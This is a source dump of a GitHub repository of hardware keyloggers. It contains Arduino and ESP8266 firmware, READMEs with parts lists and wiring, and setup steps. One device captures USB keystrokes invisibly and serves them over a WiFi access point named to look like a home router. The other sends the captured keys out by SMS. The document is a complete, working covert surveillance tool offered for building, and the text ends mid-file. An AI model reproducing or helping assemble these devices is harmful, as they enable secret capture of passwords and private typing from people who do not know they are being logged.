├── images ├── pic.jpg └── pic_2.jpg ├── README.md ├── Wifi based keylogger ├── tools │ └── Serial1_communication.ino ├── Keylogger_wifi_hobbytronics_Arduino │ ├── C_USBhost.h │ ├── Keylogger_wifi_hobbytronics_Arduino.ino │ └── C_USBhost.cpp ├── Keylogger_wifi_hobbytronics_ESP │ └── Keylogger_wifi_hobbytronics_ESP.ino └── README.md └── SMS based keylogger ├── tools ├── setting_USB_Host_Mini_V2_baud_rate.ino └── setting_Sim800L_baud_rate.ino ├── keylogger_sim800l ├── C_Sim800L.h ├── C_USBhost.h ├── C_USBhost.cpp ├── keylogger_sim800l.ino └── C_Sim800L.cpp └── README.md /images/pic.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/michalmonday/Hardware-keyloggers/HEAD/images/pic.jpg -------------------------------------------------------------------------------- /images/pic_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/michalmonday/Hardware-keyloggers/HEAD/images/pic_2.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | So far this repository contains 2 implementations based on projects published by 2 different people: 2 | Wifi based keylogger ([wifi_keylogger](https://github.com/spacehuhn/wifi_keylogger)) made by spacehuhn 3 | SMS based keylogger ([KEYVILBOARD](https://github.com/RedBulletTooling/KEYVILBOARD)) made by Helmmen (a.k.a. RedBulletTooling) 4 | -------------------------------------------------------------------------------- /Wifi based keylogger/tools/Serial1_communication.ino: -------------------------------------------------------------------------------- 1 | 2 | #define BAUD_RATE 9600 3 | 4 | #define mySerial Serial1 5 | 6 | void setup() { 7 | Serial.begin(BAUD_RATE); 8 | while (!Serial){;} 9 | 10 | mySerial.begin(BAUD_RATE); 11 | } 12 | 13 | void loop() { 14 | 15 | if (mySerial.available()) { 16 | Serial.write(mySerial.read()); 17 | } 18 | 19 | if (Serial.available()) { 20 | mySerial.write(Serial.read()); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SMS based keylogger/tools/setting_USB_Host_Mini_V2_baud_rate.ino: -------------------------------------------------------------------------------- 1 | 2 | #define BAUD_RATE 9600 3 | 4 | #define mySerial Serial1 5 | 6 | void setup() { 7 | Serial.begin(BAUD_RATE); 8 | while (!Serial){;} 9 | 10 | mySerial.begin(BAUD_RATE); 11 | } 12 | 13 | void loop() { 14 | 15 | if (mySerial.available()) { 16 | Serial.write(mySerial.read()); 17 | } 18 | 19 | if (Serial.available()) { 20 | mySerial.write(Serial.read()); 21 | } 22 | } -------------------------------------------------------------------------------- /SMS based keylogger/tools/setting_Sim800L_baud_rate.ino: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | SoftwareSerial mySerial(8, 9); 4 | 5 | #define BAUD 9600 6 | 7 | void setup() { 8 | Serial.begin(9600); 9 | while (!Serial) { 10 | ; 11 | } 12 | 13 | mySerial.begin(BAUD); 14 | 15 | mySerial.write("AT+IPR=57600\r\n"); 16 | mySerial.end(); 17 | mySerial.begin(57700); 18 | mySerial.write("AT&W_SAVE\r\n"); 19 | mySerial.write("AT&W\r\n"); 20 | 21 | } 22 | 23 | void loop() { // run over and over 24 | if (mySerial.available()) { 25 | Serial.write(mySerial.read()); 26 | } 27 | 28 | if (Serial.available()) { 29 | mySerial.write(Serial.read()); 30 | } 31 | } 32 | 33 | -------------------------------------------------------------------------------- /SMS based keylogger/keylogger_sim800l/C_Sim800L.h: -------------------------------------------------------------------------------- 1 | #ifndef C_Sim800L_H 2 | #define C_Sim800L_H 3 | 4 | #include 5 | #include 6 | #include "C_USBhost.h" 7 | 8 | class C_Sim800L 9 | { 10 | public: 11 | C_Sim800L(byte rx_pin, byte tx_pin, byte reset_pin, bool debug_state); 12 | void Begin(unsigned long baud_rate); 13 | bool SendCmd(char* cmd, char* desiredResponsePart); 14 | bool SendSms(char* number, char* text); 15 | void SetSmsResponseCollectionDelay(unsigned int response_delay=6000); 16 | 17 | 18 | void ReadSerialBuffer(); 19 | bool CheckDelayedSmsResponse(unsigned long sendingTime); 20 | 21 | bool EmergencySmsRoutine(char* number, char* backupTextSms); 22 | 23 | private: 24 | bool debug = false; 25 | byte resetPin; 26 | SoftwareSerial* serial; 27 | char delayedResponse[120]; 28 | byte drc = 0; // delayed response count 29 | bool readyToSend = false; // needed to confirm the sms right before reading USBhost buffer, otherwise it will get full and some of the response would be left (buffer has only 64 bytes) 30 | unsigned long sendSmsEntryTime; 31 | unsigned long failedSmsTime; 32 | unsigned int responseDelay; 33 | byte emergencySmsRoutineStep=0; 34 | 35 | void ResetSim800L(); 36 | bool GetResponse(char* response, byte respLen, char* lastCmd); 37 | void ClearSerialBuffer(); 38 | 39 | }; 40 | 41 | 42 | 43 | 44 | #endif 45 | 46 | -------------------------------------------------------------------------------- /SMS based keylogger/keylogger_sim800l/C_USBhost.h: -------------------------------------------------------------------------------- 1 | #ifndef C_USBhost_H 2 | #define C_USBhost_H 3 | 4 | #include 5 | #include 6 | 7 | class C_USBhost 8 | { 9 | public: 10 | C_USBhost(HardwareSerial& serial); 11 | C_USBhost(HardwareSerial& serial, bool debug_state); 12 | 13 | byte GetKey(); 14 | void Begin(unsigned long baud_rate); 15 | void SetMode(char mode); 16 | void SetBaudRate(char* baud_rate); 17 | static void ReleaseAllButtons(char* reason); 18 | 19 | private: 20 | HardwareSerial& serial; 21 | 22 | char hidText[27]; 23 | byte hbc = 0; // hidText string buffer count 24 | byte rawHID[8]; // modifier_bit_map, manufacturer(ignore) , key1, key2, key3, key4, key5, key6 25 | byte prevRawHID[8]; 26 | byte fullBufferFlag_preventHold; 27 | byte collectedAsciiValues[6]; 28 | 29 | byte IgnoreBytesIfUseless(byte index); 30 | void ConvertInputToBytes(char* input, byte* raw_bytes); 31 | void Send_Report(byte* bytes); 32 | void SaveTheKeys(); 33 | byte HID_to_ASCII(byte key, bool shiftDown); 34 | bool WasAnyKeyPressed(); 35 | bool WasKeyPreviouslyPressed(byte key); 36 | bool WasModifierPressed(); 37 | void GetKeysPressed(byte* keys_pressed); 38 | bool WasShiftDown(); 39 | bool IsBitHigh(byte byteToConvert, byte bitToReturn); 40 | void CleanUpVars(); 41 | void FullBuffer_BugPrevention(); 42 | }; 43 | 44 | 45 | 46 | 47 | #endif 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /Wifi based keylogger/Keylogger_wifi_hobbytronics_Arduino/C_USBhost.h: -------------------------------------------------------------------------------- 1 | #ifndef C_USBhost_H 2 | #define C_USBhost_H 3 | 4 | #include 5 | #include 6 | 7 | class C_USBhost 8 | { 9 | public: 10 | C_USBhost(HardwareSerial& serial); 11 | C_USBhost(HardwareSerial& serial, bool debug_state); 12 | 13 | byte GetKey(); 14 | void Begin(unsigned long baud_rate); 15 | void SetMode(char mode); 16 | void SetBaudRate(char* baud_rate); 17 | static void ReleaseAllButtons(char* reason); 18 | 19 | private: 20 | HardwareSerial& serial; 21 | 22 | char hidText[27]; 23 | byte hbc = 0; // hidText string buffer count 24 | byte rawHID[8]; // modifier_bit_map, manufacturer(ignore) , key1, key2, key3, key4, key5, key6 25 | byte prevRawHID[8]; 26 | byte fullBufferFlag_preventHold; 27 | byte collectedAsciiValues[6]; 28 | 29 | byte IgnoreBytesIfUseless(byte index); 30 | void ConvertInputToBytes(char* input, byte* raw_bytes); 31 | void Send_Report(byte* bytes); 32 | void SaveTheKeys(); 33 | byte HID_to_ASCII(byte key, bool shiftDown); 34 | bool WasAnyKeyPressed(); 35 | bool WasKeyPreviouslyPressed(byte key); 36 | bool WasModifierPressed(); 37 | void GetKeysPressed(byte* keys_pressed); 38 | bool WasShiftDown(); 39 | bool IsBitHigh(byte byteToConvert, byte bitToReturn); 40 | void CleanUpVars(); 41 | void FullBuffer_BugPrevention(); 42 | }; 43 | 44 | 45 | 46 | 47 | #endif 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /Wifi based keylogger/Keylogger_wifi_hobbytronics_Arduino/Keylogger_wifi_hobbytronics_Arduino.ino: -------------------------------------------------------------------------------- 1 | // make sure to copy whole folder, not just this sketch 2 | 3 | #include // library required for serial communication using almost(!) any Digital I/O pins of Arduino 4 | #include // library that contains all the HID functionality necessary to pass-on the typed and logged keys to the PC 5 | #include "C_USBhost.h" // class used to make the code more clear 6 | 7 | SoftwareSerial Esp8266(16, 15); // CJMCU - MO(16), SCK(15) 8 | C_USBhost USBhost = C_USBhost(Serial1, /*debug_state*/false); // communication with USB host board (receiving input from keyboard), connected to RX/TX of Arduino Pro Micro 9 | 10 | /* 11 | [ CJMCU Beetle -> Usb Host Mini Board ] // Vertical lines indicate that the connection is made on the same module 12 | GND -> 0V (GND) 13 | | 14 | 4.7K resistor 15 | | 16 | RX 17 | 18 | RX -> TX 19 | TX -> 2K resistor -> RX 20 | 5V -> 5V 21 | 22 | */ 23 | 24 | #define BAUD_RATE_ESP8266 57600 // default was 9600 25 | #define BAUD_RATE_USB_HOST_BOARD 115200 // default was 9600 26 | #define BAUD_RATE_SERIAL 115200 27 | 28 | void setup() { 29 | delay(1000); // probably useless, but it allows some time for the USB host board and Sim800L to initialize 30 | Serial.begin(BAUD_RATE_SERIAL); // begin serial communication with PC (so Serial Monitor could be opened and the developer could see what is actually going on in the code) 31 | Esp8266.begin(BAUD_RATE_ESP8266); 32 | USBhost.Begin(BAUD_RATE_USB_HOST_BOARD); // begin serial communication with USB host board in order to receive key bytes from the keyboard connected to it 33 | USBhost.SetMode('6'); 34 | Keyboard.begin(); // start HID functionality, it will allow to type keys to the PC just as if there was no keylogger at all 35 | } 36 | 37 | void loop() { 38 | byte b = USBhost.GetKey(); // function responsible for collecting, storing keystrokes from USB host board, it also is typing keystrokes to PC (shouldn't be in fact called GetKey...) 39 | if(b){ 40 | Esp8266.print(char(b)); 41 | } 42 | } 43 | 44 | -------------------------------------------------------------------------------- /Wifi based keylogger/Keylogger_wifi_hobbytronics_ESP/Keylogger_wifi_hobbytronics_ESP.ino: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Copied from: https://github.com/spacehuhn/wifi_keylogger/blob/master/esp8266_saveSerial/esp8266_saveSerial.ino 4 | 5 | MIT License 6 | 7 | Copyright (c) 2017 Stefan Kremser 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy 10 | of this software and associated documentation files (the "Software"), to deal 11 | in the Software without restriction, including without limitation the rights 12 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | copies of the Software, and to permit persons to whom the Software is 14 | furnished to do so, subject to the following conditions: 15 | 16 | The above copyright notice and this permission notice shall be included in all 17 | copies or substantial portions of the Software. 18 | 19 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | SOFTWARE. 26 | 27 | */ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #define BAUD_RATE 57600 38 | 39 | /* ============= CHANGE WIFI CREDENTIALS ============= */ 40 | const char *ssid = "BTHub3-537"; 41 | const char *password = "37373737"; //min 8 chars 42 | /* ============= ======================= ============= */ 43 | 44 | AsyncWebServer server(80); 45 | FSInfo fs_info; 46 | File f; 47 | 48 | void setup() { 49 | 50 | Serial.begin(BAUD_RATE); 51 | 52 | //Serial.println(WiFi.SSID()); 53 | WiFi.mode(WIFI_STA); 54 | WiFi.softAP(ssid,password); 55 | 56 | EEPROM.begin(4096); 57 | SPIFFS.begin(); 58 | 59 | MDNS.addService("http","tcp",80); 60 | 61 | f = SPIFFS.open("/keystrokes.txt", "a+"); 62 | if(!f) Serial.println("file open failed"); 63 | 64 | f.write('a'); 65 | f.write('b'); 66 | f.write('c'); 67 | 68 | server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ 69 | f.close(); 70 | request->send(SPIFFS, "/keystrokes.txt", "text/plain"); 71 | f = SPIFFS.open("/keystrokes.txt", "a+"); 72 | }); 73 | 74 | server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){ 75 | f.close(); 76 | f = SPIFFS.open("/keystrokes.txt", "w"); 77 | request->send(200, "text/plain", "file cleared!"); 78 | }); 79 | 80 | server.begin(); 81 | } 82 | 83 | void loop() { 84 | 85 | if(Serial.available()) { 86 | char c = (char)Serial.read(); 87 | f.write(c); 88 | //Serial.write(c); 89 | } 90 | } 91 | 92 | 93 | -------------------------------------------------------------------------------- /SMS based keylogger/README.md: -------------------------------------------------------------------------------- 1 | ![image-device](https://raw.githubusercontent.com/michalmonday/Hardware-keyloggers/master/images/pic.jpg) 2 | 3 | ![image-device-2](https://raw.githubusercontent.com/michalmonday/Hardware-keyloggers/master/images/pic_2.jpg) 4 | 5 | ![image-wiring](https://i.imgur.com/Zm0vHTz.png) 6 | 7 | # Overview 8 | Comparing to the original [KEYVILBOARD](https://github.com/RedBulletTooling/KEYVILBOARD) it had the following differences: 9 | -Arduino Pro Micro 5V used instead of Teensy 10 | -passing of raw HID reports instead of reinterpretting the keys before sending them to PC which solves multiple issues like: 11 | - key combinations not working 12 | - unability to hold keys 13 | 14 | -NPN transistor added to allow automatic resetting of the Sim800L if it misbehaves 15 | -debugging and some error handling 16 | -different wiring 17 | 18 | **The KEYVILBOARD project was updated since this repository was created, it has fixed the key-combinations/key-holding issues and implemented some other cool features.** 19 | 20 | # Parts used: 21 | -Arduino Pro Micro 5V 16Mhz 22 | -Sim800L (the one with blue board, not red one) 23 | -[USB Host Mini V2](http://www.hobbytronics.co.uk/usb-host-mini) board by Hobbytronics 24 | > Make sure to pick "USB Keyboard" before purchase 25 | 26 | -BD137 NPN transistor 27 | -resistors (1K, 2K, 4.7K) 28 | -solid core wires (including some thin ones like [these](https://www.ebay.co.uk/itm/30AWG-Insulated-Silver-Plated-Single-Core-Copper-PCB-0-25mm-Kynar-Wrapping-Wire/263504549866)) 29 | -soldering equipment 30 | 31 | # Setup process 32 | Wiring instructions are provided in the comments of the "keylogger_sim800l.ino" sketch. 33 | Once the correct wiring is used baud rates of each module will have to be set. 34 | 35 | To set the baud rate of Sim800L: 36 | -upload "tools/setting_Sim800L_baud_rate.ino" code to Arduino Pro Micro using Arduino IDE (pick "Arduino Leonardo" board setting) 37 | -once uploaded open serial monitor, wait 1 second and close it (baud rate should be set automatically) 38 | 39 | To set the baud rate of USB Host Mini V2: 40 | -upload "tools/setting_USB_Host_Mini_V2_baud_rate.ino" code to Arduino Pro Micro 41 | > It will allow to communicate with USB Host Mini V2 board 42 | 43 | -open serial monitor, set "Both NL & CR" and "9600" in the bottom-right corner of it 44 | -send "HELP" command through Serial Monitor, the response should appear 45 | -see the digit corresponding to 115200 baud rate and use it to send "BAUD digit" command 46 | > The baud rate should be set to a different one. Further communication should not be possible unless you reupload "Serial1_commuication.ino" with 115200 BAUD_RATE setting instead of 9600 which it has right now. 47 | 48 | Baud rates of both modules should be set correctly now and the main code (keylogger_sim800l.ino) should be uploaded. 49 | 50 | 51 | # Credits 52 | Thanks to [Helmmen](https://github.com/RedBulletTooling/KEYVILBOARD) for publishing the working prototype of keylogger that would use SMS communication and the cool Hobbytronics USB host board. That was the origin and the base for this project. 53 | -------------------------------------------------------------------------------- /Wifi based keylogger/README.md: -------------------------------------------------------------------------------- 1 | ![image-device](https://i.imgur.com/1yqzook.png) 2 | 3 | # Overview 4 | It has the same functionality as [wifi_keylogger](https://github.com/spacehuhn/wifi_keylogger) made by spacehuhn but instead of reinterpretting keys it is simply passing the raw HID reports from keyboard to PC so the keyboard types exactly the same keys as if there was no keylogger. 5 | 6 | 7 | # Parts used: 8 | -CJMCU Beetle 9 | > SS Micro could be used instead. It has 3.3V regulator so there would be no need to use zener diodes. 10 | 11 | -Esp12-E module 12 | -[Ft232rl](https://www.aliexpress.com/item/Free-shipping-1pcs-FT232RL-FT232-FTDI-USB-3-3V-5-5V-to-TTL-Serial-Adapter-Module/32460118879.html) serial adapter 13 | > This adapter will be used only to flash Esp12-E module (you could use alternative ways to do that, e.g. NodeMCU does not require any adapter because it has in-built one) 14 | 15 | -[USB Host Mini V2](http://www.hobbytronics.co.uk/usb-host-mini) board by Hobbytronics 16 | > Make sure to pick "USB Keyboard" before purchase 17 | 18 | -2x 3.6V zener diodes 19 | -resistors (2K Ohm, 3x 4.7K Ohm) 20 | -solid core wires (including some thin ones like [these](https://www.ebay.co.uk/itm/30AWG-Insulated-Silver-Plated-Single-Core-Copper-PCB-0-25mm-Kynar-Wrapping-Wire/263504549866)) 21 | -soldering equipment 22 | -clips/hooks like [these](https://www.aliexpress.com/item/10pcs-lot-20cm-Test-probe-jumper-wire-cable-with-Hook-pulg-Clip-SMD-IC-Logic-Analyzer/32862677867.html) (to grab the pins without soldering) 23 | -[power breakout board](https://www.ebay.co.uk/itm/Breadboard-Power-Supply-Module-3-3V-5V-USB-for-Arduino-Raspberry-Pi-Board-MB102/131668810841) 24 | > Needed to power Esp12-E module with 3.3V during flashing with Ft232rl which by itself does not provide enough power (according to online tutorials about it). 25 | 26 | > I strongly recommend to buy [NodeMCU](https://www.aliexpress.com/item/NodeMcu-Lua-WIFI-Internet-of-Things-development-board-based-ESP8266-module/32448461056.html) and possibly additional SS Micro or CJMCU Beetle board with pre-soldered pins. NodeMCU can be easily reprogrammed and reconnected which also applies to SS-Micro/CJMCU-Beetle. It is very difficult and frustrating to reflash or apply corrections on the soldered setup (especially with the plain Esp12-E where GPIO 0 pin has to be connected to ground for uploading). 27 | 28 | 29 | # Setup process 30 | 31 | 1. Connecting + initializing USB Host Mini V2 board. 32 | -connect the board to CJMCU Beetle using the following connections: 33 | 34 | ![image-wiring](https://i.imgur.com/3HBcuRI.png) 35 | 36 | -connect CJMCU Beetle to PC 37 | -upload the "tools/Serial1_communication.ino" code to CJMCU Beetle using Arduino IDE (pick "Arduino Leonardo" board setting) 38 | > It will allow to communicate with USB Host Mini V2 board, it will be used to set its baud rate to a higher one (default is 9600 and it will be set to 115200). 39 | 40 | -open serial monitor, set "Both NL & CR" and "9600" in the bottom-right corner of it 41 | -send "HELP" command through Serial Monitor, the response should appear 42 | -see the digit corresponding to 115200 baud rate and use it to send "BAUD digit" command 43 | > The baud rate should be set to a different one. Further communication should not be possible unless you reupload "Serial1_commuication.ino" with 115200 BAUD_RATE setting instead of 9600 which it has right now. 44 | 45 | 2. Set up Esp12-E module for flashing with Ft232rl. 46 | The following connections were used for the Esp12-E module: 47 | ![image-wiring](https://i.imgur.com/fgeTDur.jpg) 48 | > I didn't connect Ft232rl to ground and the code still was uploaded well. 49 | 50 | 3. Upload "Keylogger_wifi_hobbytronics_ESP" code to Esp12-E using Arduino IDE and Ft232rl. 51 | > I used "NodeMCU V1.0 (Esp12-E module)" board setting with 3M SPIFFS. 52 | 53 | 4. Reconnect GPIO 0 pin from GND to VCC of Esp12-E for "Running" (as suggested on the wiring image above). 54 | 55 | 5. Connect Esp12-E to CJMCU Beetle in the following way: 56 | 57 | | Esp12-E | CJMCU Beetle | 58 | | --- | --- | 59 | | VCC | <-zener_diode<-zener_diode<-5V | 60 | | GND | GND | 61 | | RX | SCK | 62 | | TX | MO | 63 | 64 | > Zener diodes should be pointing towards the Esp12-E (with their black endings). 65 | 66 | 6. Connect CJMCU Beetle to PC and flash it with the "Keylogger_wifi_hobbytronics_Arduino" code. 67 | 68 | 7. Make the general test of the whole device that should be working at this point: 69 | -disconnect CJMCU Beetle 70 | -connect some keyboard to the USB Host Mini V2 71 | -connect CJMCU Beetle back to PC 72 | -type few characters using the keyboard and see whether they are visible on screen 73 | -try to find and connect the newly created wifi access point ("BTHub3-537", password: 37373737) 74 | -open browser and go to 192.168.4.1/ and see whether the typed characters are displayed 75 | 76 | 77 | 78 | # Credits 79 | Thanks to [spacehuhn](https://github.com/spacehuhn/wifi_keylogger) for sharing the proof of concept of his wifi_keylogger under MIT license. This implementation builds on the his idea and uses the code for Esp8266 written by him. 80 | -------------------------------------------------------------------------------- /SMS based keylogger/keylogger_sim800l/C_USBhost.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "C_USBhost.h" 3 | 4 | const PROGMEM byte asciiMap[128] = {0,0,0,0,0,0,0,0,42,43,40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,44,158,180,160,161,162,164,52,166,167,165,174,54,45,55,56,39,30,31,32,33,34,35,36,37,38,179,51,182,46,183,184,159,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,47,49,48,163,173,53,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,175,177,176,181,0}; 5 | const PROGMEM byte keyPadMap[16] = {85,87,0,86,99,84,98,89,90,91,92,93,94,95,96,97}; 6 | bool debug = false; 7 | 8 | C_USBhost::C_USBhost(HardwareSerial& s): 9 | serial(s) { 10 | 11 | } 12 | 13 | C_USBhost::C_USBhost(HardwareSerial& s, bool debug_state): 14 | serial(s) { 15 | debug = debug_state; 16 | } 17 | 18 | 19 | void C_USBhost::Begin(unsigned long baud_rate){ 20 | serial.begin(baud_rate); 21 | } 22 | 23 | void C_USBhost::SetBaudRate(char* baud_rate){ 24 | serial.write("BAUD "); 25 | serial.write(baud_rate); 26 | serial.write("\r\n"); 27 | 28 | delay(500); 29 | 30 | char str[65]; byte i; 31 | while(serial.available()){ 32 | str[i++] = serial.read(); 33 | } 34 | 35 | if(debug){ 36 | Serial.print(F("USB host board, changing baud rate response: ")); Serial.println(str); 37 | } 38 | 39 | if(strstr(str, "Baud Rate Changed")){ 40 | return true; 41 | } 42 | return false; 43 | } 44 | 45 | void C_USBhost::SetMode(char mode){ 46 | serial.write("MODE "); 47 | serial.write(mode); 48 | serial.write("\r\n"); 49 | 50 | delay(500); 51 | 52 | char str[65]; byte i; 53 | while(serial.available()){ 54 | str[i++] = serial.read(); 55 | } 56 | 57 | if(debug){ 58 | Serial.print(F("USB host board, changing mode response: ")); Serial.println(str); 59 | } 60 | 61 | if(strstr(str, "Mode Changed")){ 62 | return true; 63 | } 64 | return false; 65 | } 66 | 67 | 68 | byte C_USBhost::GetKey() { 69 | // many keys can be pressed at the same time but only 1 value can be returned 70 | // so there's an array that holds up to 6 keys that were potentially pressed 71 | // until that array is empty no communication with usbhost will occur 72 | for(int i=0; i<6; i++){ 73 | if(collectedAsciiValues[i]){ 74 | byte val = collectedAsciiValues[i]; 75 | collectedAsciiValues[i] = 0; 76 | return val; 77 | } 78 | } 79 | 80 | if (serial.available() > 0) { 81 | if (serial.available() == 63) { 82 | fullBufferFlag_preventHold = true; //P(F("OCCUPIED BUFFER BYTES (serial.available): ")); PL((int)serial.available()); 83 | } 84 | hidText[hbc++] = serial.read(); // hbc is hid bytes count (number of bytes that was read already from USBhost which sends something like 00-00-04-00-00-00-00-00a) 85 | hbc = IgnoreBytesIfUseless(hbc); // decreases hbc if required 86 | 87 | if (hbc == 26) { // if the full string (25 bytes long) representing 8 HID values is received (e.g. "\n\r02-00-04-00-00-00-00-00") 88 | hidText[hbc] = 0; 89 | ConvertInputToBytes(hidText, rawHID); 90 | Send_Report(rawHID); 91 | SaveTheKeys(); 92 | CleanUpVars(); 93 | 94 | FullBuffer_BugPrevention(); 95 | } 96 | } 97 | return 0; 98 | } 99 | 100 | 101 | 102 | byte C_USBhost::IgnoreBytesIfUseless(byte index) { 103 | if ((index == 1 && hidText[index - 1] != 10) || (index == 2 && hidText[index - 1] != 13)) { 104 | index--; // 2 bytes (10 and 13) are received before the string that includes raw HID info //P(F("hbc_VALUE: ")); P(hbc); P(", Char: "); PL(hidText[hbc-1]); 105 | } 106 | return index; 107 | } 108 | 109 | void C_USBhost::ConvertInputToBytes(char* input, byte* raw_bytes) { 110 | for (byte j = 0; j < 8; j++) { 111 | char buff[3] = {input[j * 2 + j + 2], input[j * 2 + j + 3], 0}; // convert string to 8 HID bytes 112 | raw_bytes[j] = (byte)strtoul(buff, NULL, 16); 113 | memset(buff, 0, sizeof(buff)); 114 | } 115 | } 116 | 117 | void C_USBhost::Send_Report(byte* bytes) { 118 | KeyReport kr = {bytes[0], bytes[1], 119 | { 120 | bytes[2], bytes[3], bytes[4], bytes[5], bytes[6], bytes[7] 121 | } 122 | }; 123 | HID().SendReport(2, &kr, sizeof(KeyReport)); /*PL(F("Report Sent."));*/ 124 | } 125 | 126 | 127 | void C_USBhost::SaveTheKeys(){ 128 | if(WasAnyKeyPressed()){ 129 | byte keys_pressed[6] = {0}; 130 | GetKeysPressed(keys_pressed); 131 | 132 | for(int i = 0; i < sizeof(keys_pressed); i++) 133 | { 134 | byte key = keys_pressed[i]; 135 | if(key){ 136 | if(debug){ 137 | Serial.print(F("\nrawHID string: ")); Serial.println(hidText); // debug line 138 | Serial.print(F("rawHID key detected: hex - ")); Serial.print(key, HEX); Serial.print(F(", int - ")); Serial.println((int)key); // debug line 139 | } 140 | 141 | byte asciiKey = HID_to_ASCII(key, WasShiftDown()); 142 | 143 | 144 | if(debug){Serial.print(F("Ascii key detected: hex - ")); Serial.print(asciiKey, HEX); Serial.print(F(", int - ")); Serial.print((int)asciiKey); Serial.print(F(", char - ")); Serial.println((char)asciiKey);} 145 | 146 | if(asciiKey){ 147 | collectedAsciiValues[i] = (char)asciiKey; 148 | } 149 | asciiKey = 0; 150 | } 151 | key = 0; 152 | } 153 | } 154 | else if (WasModifierPressed()){} 155 | else{ 156 | if(debug){ 157 | Serial.print(F("\nRELEASED_OR_LOST\nrawHID string: ")); Serial.println(hidText); // debug line 158 | //Serial.print(F("rawHID key detected: hex - ")); Serial.print(key, HEX); Serial.print(F(", int - ")); Serial.println((int)key); // debug line 159 | } 160 | } // was released 161 | } 162 | 163 | byte C_USBhost::HID_to_ASCII(byte key, bool shiftDown){ 164 | for(byte i=0; i<128; i++){ // asciiMap contains HID values (some modified), their order indicates which ascii value should be used 165 | byte b = pgm_read_byte(asciiMap + i); // some HID values are modified - if the HID value from the asciiMap array is over 127 then it means that shift must be used with it 166 | if(!(shiftDown == false && b >= 128) && !(shiftDown == true && b < 128)) // so if the user actually was holding shift then take into account only the values over 127 when trying to convert it to ascii 167 | if(key == (shiftDown ? b ^ 128 : b)) // if shift was not pressed then take search through values equal or lower than 127 168 | return i; 169 | } 170 | for(byte i=0; i < 16; i++) // numpad keys 171 | if(key == pgm_read_byte(keyPadMap + i)) 172 | return i+42; 173 | return 0; 174 | } 175 | 176 | 177 | bool C_USBhost::WasAnyKeyPressed() { 178 | for (int i = 2; i < 8; i++) { 179 | if(!WasKeyPreviouslyPressed(rawHID[i])){ 180 | return true; 181 | } 182 | } return false; 183 | } 184 | 185 | bool C_USBhost::WasKeyPreviouslyPressed(byte key){ 186 | for (int i = 2; i < 8; i++) { 187 | if(prevRawHID[i] == key){ 188 | return true; 189 | } 190 | } return false; 191 | } 192 | 193 | bool C_USBhost::WasModifierPressed() { 194 | return ((rawHID[0] > 0) && (rawHID[0] != prevRawHID[0])); 195 | } 196 | 197 | void C_USBhost::GetKeysPressed(byte* keys_pressed) { 198 | for (int i = 2; i < 8; i++) { 199 | if (rawHID[i] > 0 && !WasKeyPreviouslyPressed(rawHID[i])) { 200 | keys_pressed[i-2] = rawHID[i]; 201 | } 202 | } 203 | } 204 | 205 | bool C_USBhost::WasShiftDown() { 206 | return (IsBitHigh(rawHID[0], 1) || IsBitHigh(rawHID[0], 5)); // if 2nd or 6th bit (left/right shift) 207 | } 208 | 209 | bool C_USBhost::IsBitHigh(byte byteToConvert, byte bitToReturn) { 210 | byte mask = 1 << bitToReturn; // thanks to Marc Gravell's https://stackoverflow.com/questions/9804866/return-a-specific-bit-as-boolean-from-a-byte-value 211 | return (byteToConvert & mask) == mask; 212 | } 213 | 214 | void C_USBhost::ReleaseAllButtons(char* reason) { 215 | KeyReport kr = {0, 0, {0, 0, 0, 0, 0, 0}}; 216 | HID().SendReport(2, &kr, sizeof(KeyReport)); 217 | 218 | if(debug){Serial.print(F("RELEASING ALL BUTTONS. Reason: ")); Serial.println(reason);} 219 | } 220 | 221 | void C_USBhost::CleanUpVars() { 222 | for (byte j = 0; j < sizeof(rawHID); j++) { 223 | prevRawHID[j] = rawHID[j]; 224 | } 225 | memset(rawHID, 0, sizeof(rawHID)); 226 | memset(hidText, 0, sizeof(hidText)); 227 | hbc = 0; 228 | } 229 | 230 | void C_USBhost::FullBuffer_BugPrevention() { 231 | if (fullBufferFlag_preventHold) { 232 | ReleaseAllButtons("USBhost buffer was full. Bytes could be lost. Holding bug was possible."); 233 | if (this->serial.available() < 1) { 234 | fullBufferFlag_preventHold = false; 235 | } 236 | } 237 | } 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | -------------------------------------------------------------------------------- /Wifi based keylogger/Keylogger_wifi_hobbytronics_Arduino/C_USBhost.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "C_USBhost.h" 3 | 4 | const PROGMEM byte asciiMap[128] = 